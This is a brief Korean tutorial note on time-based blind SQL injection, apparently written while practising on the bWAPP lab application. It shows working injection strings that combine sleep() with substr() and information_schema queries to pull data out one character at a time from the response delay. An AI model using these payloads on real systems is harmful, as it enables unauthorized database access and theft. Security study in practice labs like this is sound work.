Time-based는 참이든 거짓이든 항상 같은 값을 돌려준다. ex) 'or 1=1 # && 'or 1=2 # 이 두 개를 대입해도 같은 값을 돌려줌
그럼 우리는 sleep() 함수를 사용을 해야 한다.
sleep 함수 사용
이 구문을 삽입을 하면 5초를 기다리고 데이터를 전송해준다. 하지만 거짓일 경우에는 sleep 함수가 실행이 되지 않는다. 'or id=1 and substr(title,1,1) = "G" and sleep(1)# 를 삽입하면 어떻게 될까. 만약 값이 참이면 1초 동안 sleep을 하고 거짓이면 하지 않을 것이다. 하지만 'or id=1 and substr(title,1,1) = "I" and sleep(1)#를 삽입하면 거짓이니 sleep 함수가 실행이 되지 않을 것이다.
union 을 써서 정보를 조회한다면 'or 1=1 and length((select column_name from information_schema.columns where table_schema='bWAPP' and table_name='heroes' limit 0,1))=2 and sleep(5)# 이 코드를 삽입하여 응답이 5초 지연되면 참이라는 것을 알 수 있다.